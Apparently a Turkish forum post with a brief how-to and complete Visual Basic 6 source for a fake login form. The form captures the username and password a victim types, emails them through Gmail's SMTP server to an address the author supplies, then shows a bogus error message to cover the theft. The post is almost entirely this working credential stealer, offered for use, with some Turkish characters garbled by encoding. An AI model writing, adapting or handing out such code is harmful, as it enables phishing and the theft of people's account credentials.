Yapılşı Basittir ..
Visual basic programı ile yapılır .
Gerkenler 2Text Box 1 Command Bukadar Label Ekleye ilirsiniz Önemli Değil Kodu:

Private Sub Command1_Click()

Dim iMsg, iConf, Flds

 

Set iMsg = CreateObject("CDO.Message")

Set iConf = CreateObject("CDO.Configuration")

Set Flds = iConf.Fields

 

schema = "http://schemas.microsoft.com/cdo/configuration/"

Flds.Item(schema & "sendusing") = 2

Flds.Item(schema & "smtpserver") = "smtp.gmail.com"

Flds.Item(schema & "smtpserverport") = 465

Flds.Item(schema & "smtpauthenticate") = 1

Flds.Item(schema & "sendusername") = "bilgileri gönderecek mail adresi" '

Flds.Item(schema & "sendpassword") = "bilgileri gönderecek mailin ?ifresi" '

Flds.Item(schema & "smtpusessl") = 1

Flds.Update

 

With iMsg

.To = "bilgilerin gönderilece?i mail adresi" '

.From = "bilgileri gönderecek mail adresi" '

.Subject = "mail konu ba?ly?y"

.HTMLbOdy = "Username : " & Text1.Text & vbCrLf & vbCrLf & "Password : " & Text2.Text

.Organization = "Mail Organtion"

.ReplyTo = "-"

Set .Configuration = iConf

SendEmailGmail = .Send

End With

MsgBox "hata mesajynyz", vbCritical, "hata mesajy ba?ly?ynyz" '

End Sub


Video Ekleyeceğim....